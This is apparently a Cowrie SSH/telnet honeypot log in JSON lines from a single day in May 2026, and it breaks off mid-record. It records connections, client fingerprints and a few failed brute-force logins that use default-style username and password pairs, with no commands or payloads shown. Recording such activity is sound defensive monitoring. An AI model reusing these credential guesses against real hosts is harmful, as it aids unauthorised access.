{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":34306,"dst_ip":"10.17.0.5","dst_port":22,"session":"f72d239fab4c","protocol":"ssh","message":"New connection: 194.59.206.2:34306 (10.17.0.5:22) [session: f72d239fab4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:13:19.652944Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:13:19.665497Z","src_ip":"194.59.206.2","session":"f72d239fab4c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:13:19.743019Z","src_ip":"194.59.206.2","session":"f72d239fab4c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:13:19.917634Z","src_ip":"194.59.206.2","session":"f72d239fab4c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.454991579055786,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:13:20.060287Z","src_ip":"161.97.105.174","session":"34572a616f80","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.53706073760986,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:13:20.496315Z","src_ip":"161.97.105.174","session":"412bb8023806","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.685500860214233,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:13:22.141194Z","src_ip":"161.97.105.174","session":"38ec6a148e31","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.215096950531006,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:13:23.068345Z","src_ip":"161.97.105.174","session":"e3e3803a217b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.402077436447144,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:13:23.075528Z","src_ip":"161.97.105.174","session":"902522e3da81","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.000113010406494,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:13:23.846239Z","src_ip":"161.97.105.174","session":"fe8cc6cbee1e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":36882,"dst_ip":"159.203.135.109","dst_port":23,"session":"e66d413757ff","protocol":"telnet","message":"New connection: 161.97.105.174:36882 (159.203.135.109:23) [session: e66d413757ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:13:28.013644Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":55562,"dst_ip":"159.203.135.109","dst_port":23,"session":"237dd0071979","protocol":"telnet","message":"New connection: 161.97.105.174:55562 (159.203.135.109:23) [session: 237dd0071979]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:13:28.422554Z"}
{"eventid":"cowrie.session.closed","duration":33.392791509628296,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:13:32.424420Z","src_ip":"161.97.105.174","session":"3c7db4d2b40d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.527881383895874,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:13:32.533327Z","src_ip":"161.97.105.174","session":"2235dd6c4daa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.641887187957764,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:13:32.553248Z","src_ip":"161.97.105.174","session":"9d8956293f34","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.43489122390747,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:13:33.955474Z","src_ip":"161.97.105.174","session":"1f3f7d6fe62c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.455243349075317,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:13:34.188380Z","src_ip":"161.97.105.174","session":"bc48f1e7857a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"202.125.94.71","src_port":35138,"dst_ip":"10.17.0.5","dst_port":22,"session":"12063378bf46","protocol":"ssh","message":"New connection: 202.125.94.71:35138 (10.17.0.5:22) [session: 12063378bf46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:13:35.110607Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:13:35.122615Z","src_ip":"202.125.94.71","session":"12063378bf46","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:13:35.390258Z","src_ip":"202.125.94.71","session":"12063378bf46","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":42656,"dst_ip":"10.17.0.5","dst_port":22,"session":"a0abee136393","protocol":"ssh","message":"New connection: 193.32.162.145:42656 (10.17.0.5:22) [session: a0abee136393]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:13:35.865320Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:13:35.870230Z","src_ip":"193.32.162.145","session":"a0abee136393","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:13:35.970933Z","src_ip":"193.32.162.145","session":"a0abee136393","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"jito","message":"login attempt [sol/jito] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:13:36.370167Z","src_ip":"193.32.162.145","session":"a0abee136393","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"password","message":"login attempt [hadoop/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:13:36.478174Z","src_ip":"202.125.94.71","session":"12063378bf46","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:13:37.475797Z","src_ip":"193.32.162.145","session":"a0abee136393","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:13:37.743642Z","src_ip":"202.125.94.71","session":"12063378bf46","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":55574,"dst_ip":"159.203.135.109","dst_port":23,"session":"f64618ed3374","protocol":"telnet","message":"New connection: 161.97.105.174:55574 (159.203.135.109:23) [session: f64618ed3374]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:13:38.055403Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":60284,"dst_ip":"159.203.135.109","dst_port":23,"session":"a88f370d3420","protocol":"telnet","message":"New connection: 161.97.105.174:60284 (159.203.135.109:23) [session: a88f370d3420]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:13:39.223545Z"}
{"eventid":"cowrie.session.connect","src_ip":"154.219.100.220","src_port":58084,"dst_ip":"10.17.0.5","dst_port":22,"session":"5a55db3349a0","protocol":"ssh","message":"New connection: 154.219.100.220:58084 (10.17.0.5:22) [session: 5a55db3349a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:13:41.021545Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:13:41.026145Z","src_ip":"154.219.100.220","session":"5a55db3349a0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:13:41.229411Z","src_ip":"154.219.100.220","session":"5a55db3349a0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"1234qwer","message":"login attempt [test/1234qwer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:13:42.075830Z","src_ip":"154.219.100.220","session":"5a55db3349a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:13:43.282307Z","src_ip":"154.219.100.220","session":"5a55db3349a0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":60294,"dst_ip":"159.203.135.109","dst_port":23,"session":"00117cbc47b6","protocol":"telnet","message":"New connection: 161.97.105.174:60294 (159.203.135.109:23) [session: 00117cbc47b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:13:43.381456Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":60314,"dst_ip":"159.203.135.109","dst_port":23,"session":"bb7c0ae306f9","protocol":"telnet","message":"New connection: 161.97.105.174:60314 (159.203.135.109:23) [session: bb7c0ae306f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:13:44.989561Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":60308,"dst_ip":"159.203.135.109","dst_port":23,"session":"561961e268e4","protocol":"telnet","message":"New connection: 161.97.105.174:60308 (159.203.135.109:23) [session: 561961e268e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:13:44.995830Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":60328,"dst_ip":"159.203.135.109","dst_port":23,"session":"9246c64e004d","protocol":"telnet","message":"New connection: 161.97.105.174:60328 (159.203.135.109:23) [session: 9246c64e004d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:13:45.954034Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":60332,"dst_ip":"159.203.135.109","dst_port":23,"session":"034b6b86d18c","protocol":"telnet","message":"New connection: 161.97.105.174:60332 (159.203.135.109:23) [session: 034b6b86d18c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:13:47.077892Z"}
{"eventid":"cowrie.session.closed","duration":34.77980709075928,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:13:47.142449Z","src_ip":"161.97.105.174","session":"cbc31e7f8ecf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.87501287460327,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:13:47.487152Z","src_ip":"161.97.105.174","session":"c17e8571ea2e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":60342,"dst_ip":"159.203.135.109","dst_port":23,"session":"a34adf0b1c0b","protocol":"telnet","message":"New connection: 161.97.105.174:60342 (159.203.135.109:23) [session: a34adf0b1c0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:13:48.041416Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":60350,"dst_ip":"159.203.135.109","dst_port":23,"session":"65e53f411565","protocol":"telnet","message":"New connection: 161.97.105.174:60350 (159.203.135.109:23) [session: 65e53f411565]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:13:48.181423Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":51686,"dst_ip":"159.203.135.109","dst_port":23,"session":"d54131f59f01","protocol":"telnet","message":"New connection: 161.97.105.174:51686 (159.203.135.109:23) [session: d54131f59f01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:13:53.618034Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.130.174","src_port":52832,"dst_ip":"10.17.0.5","dst_port":22,"session":"1fcbee313888","protocol":"ssh","message":"New connection: 152.32.130.174:52832 (10.17.0.5:22) [session: 1fcbee313888]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:13:54.561486Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:13:54.567422Z","src_ip":"152.32.130.174","session":"1fcbee313888","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:13:54.782969Z","src_ip":"152.32.130.174","session":"1fcbee313888","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql2","password":"mysql2","message":"login attempt [mysql2/mysql2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:13:55.681389Z","src_ip":"152.32.130.174","session":"1fcbee313888","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:13:56.901185Z","src_ip":"152.32.130.174","session":"1fcbee313888","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.864113092422485,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:14:00.877650Z","src_ip":"161.97.105.174","session":"e66d413757ff","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.018845558166504,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:14:01.441261Z","src_ip":"161.97.105.174","session":"237dd0071979","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":38160,"dst_ip":"159.203.135.109","dst_port":23,"session":"40a4081c8a10","protocol":"telnet","message":"New connection: 161.97.105.174:38160 (159.203.135.109:23) [session: 40a4081c8a10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:14:03.470327Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":38164,"dst_ip":"159.203.135.109","dst_port":23,"session":"0836a2732bde","protocol":"telnet","message":"New connection: 161.97.105.174:38164 (159.203.135.109:23) [session: 0836a2732bde]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:14:05.413398Z"}
{"eventid":"cowrie.session.connect","src_ip":"200.187.71.114","src_port":45318,"dst_ip":"10.17.0.5","dst_port":22,"session":"3f89cc691bcb","protocol":"ssh","message":"New connection: 200.187.71.114:45318 (10.17.0.5:22) [session: 3f89cc691bcb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:14:07.663919Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:14:07.668100Z","src_ip":"200.187.71.114","session":"3f89cc691bcb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v